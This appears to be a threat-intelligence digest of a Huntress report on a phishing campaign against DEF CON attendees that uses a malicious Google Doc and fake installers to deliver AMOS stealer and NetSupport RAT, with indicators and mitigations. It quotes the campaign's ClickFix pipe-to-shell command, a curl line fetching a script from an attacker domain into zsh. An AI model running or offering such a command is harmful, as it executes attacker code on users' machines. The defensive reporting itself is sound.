Post-DEF CON Phishing Uses Malicious Google Doc to Deliver Malware
Huntress researchers document a phishing campaign targeting Black Hat/DEF CON attendees via X DMs impersonating a CoinDesk exec, luring victims into opening a weaponized Google Doc with a custom Google Apps Script sidebar that runs a fake "decryption" flow before delivering ClickFix-style commands or a manual "update" that drops malware. On macOS this delivers AMOS infostealer plus a LaunchDaemon-based polling backdoor with SOCKS5 proxy capability; a follow-up fake DocSend/Dropbox installer delivers a ClickOnce/NSIS loader chain on Windows that installs NetSupport RAT, a process-hollowed rogue Certificate Authority that MITMs VirusTotal traffic, and an incomplete Ledger wallet-targeting implant. The piece includes deep technical detail on the loader's C2 protocol, stolen/fraudulent code-signing certificates, and infrastructure patterns (multi-branded loader domains), plus mitigation guidance and a link to published IOCs.
What it is
A targeted phishing campaign against Black Hat/DEF CON attendees, documented by Huntress after one of their own researchers was targeted. On August 9, the X account @HartmansDoeke — impersonating CoinDesk's VP and Head of Marketing (using one person's photo with another's name) — DM'd the researcher about a fake upcoming "online conference," then shared a malicious Google Doc plus an "encryption key."
How it works
The Google Doc carries a custom Apps Script sidebar (DecryptPanel.html) that validates a small set of hard-coded keys, collects victim/host info, reports activity via Telegram, and branches by OS. The actor-supplied key deliberately "fails" to decrypt, prompting the victim toward two sidebar options — ClickFix-style instructions and a manual download. The code contains Russian-language comments and emojis.
On macOS, the ClickFix path instructs the victim to run:
curl -fsSL https://apple-googleapi[.]com/i | zshThe "Manual Update" fallback points to an actor-run GitHub Releases page hosting a macOS disk image, GAPIUpdate.dmg — an ad-hoc signed app bundle the victim is told to bypass Gatekeeper for. When the first lure failed, the actor followed up the next day with a fake Dropbox DocSend share leading to a counterfeit DocSend installer, delivering AMOS stealer (macOS) and NetSupport RAT + a Ledger wallet implant + a traffic-intercepting proxy (Windows).
flowchart TD
A[X DM: fake CoinDesk VP] --> B[Google Doc + fake key]
B --> C{Key 'fails'}
C --> D[macOS: ClickFix curl]
C --> E[macOS: GAPIUpdate.dmg via GitHub]
B -.first lure fails.-> F[Fake DocSend installer]
F --> G[macOS: AMOS]
F --> H[Windows: NetSupport RAT + Ledger implant + proxy]Preconditions / Affected
The sidebar only renders for an authenticated Google user who opens the Doc. Compromise requires the victim to actively copy/paste and run the command, or download the DMG and bypass Gatekeeper — social engineering, not an exploit.
What to do
Block/hunt on these indicators the page names:
- X account @HartmansDoeke
- Domain apple-googleapi[.]com (macOS delivery domain)
- File GAPIUpdate.dmg and the counterfeit DocSend installer
- The
curl … | zshpipe-to-shell pattern from browser-copied text
Treat unsolicited post-conference DMs linking to "encrypted" Google Docs that demand a key as hostile.
Caveats
At publication, the apple-googleapi[.]com payload was not live: it resolved into a redirect loop pointing to 127.0.0.1:43695, and Huntress's browser gave up after 108 requests of repeated 301s. Huntress only assumes a payload was intended there — the macOS curl path could not be fully reproduced. The GitHub .dmg and the DocSend-lure payloads are the confirmed delivery mechanisms. The excerpt cuts off mid-sentence on the Gatekeeper-bypass instructions.
Organisations named here
- BARNEHAGEN GUNHILDS MINNE AS
- ClickFix
Technologies named here
- macOS
- Google Apps Script
- Windows
- Telegram
- ClickOnce
- Google Docs / Google Apps Script
- BitsTransfer
- Dropbox DocSend
- NetSupport Manager 14.10.0004
- NSIS installer / Electron
- Ledger Live / Ledger Wallet
- certutil
- VirusTotal
- openssl
- MSBuild.exe
- Discord Inc. code-signing certificate
- Huntress GitHub repository
- Lenovo code-signing certificate
- BARNEHAGEN GUNHILDS MINNE AS certificate
- Google Workspace
- PowerShell
- NetSupport Manager
- .NET
Techniques named here
- Phishing via social media DM
- ClickFix-style social engineering
- Malicious Google Apps Script sidebar
- Gatekeeper bypass
- TCC abuse for data exfiltration
- LaunchDaemon persistence
- SOCKS5 proxy tasking
- ClickOnce deployment abuse
- Encoded PowerShell download-and-execute
- User-Agent based payload branching
- Fake onboarding UI / social engineering delay
- Host fingerprinting and profiling
- In-memory JavaScript execution via Function constructor
- Desktop screenshot capture and exfiltration
- Password-protected archive payload delivery
- Process hollowing
- String obfuscation / runtime API resolution
- Rogue certificate authority installation
- Kernel-mode driver persistence
- Registry Run Key persistence
- Stolen/fraudulent code-signing certificates
- Steganographic identifier storage
- Silent error suppression
Threat actors named here
- @HartmansDoeke
- AMOS Stealer
- NetSupport RAT / NetSupport Manager
- Ledger wallet implant
- Traffic-intercepting proxy
- Sleestak
Related in Threat Intel
Reverse Engineering the Six Stages of MacSync Stealer and RAT
AI-Coded Malware | Analyzing Vibe-Coded AD Enumeration | Huntress

Introducing CAIRN: Frontier tracking for AI-integrated malware (Cisco Talos)
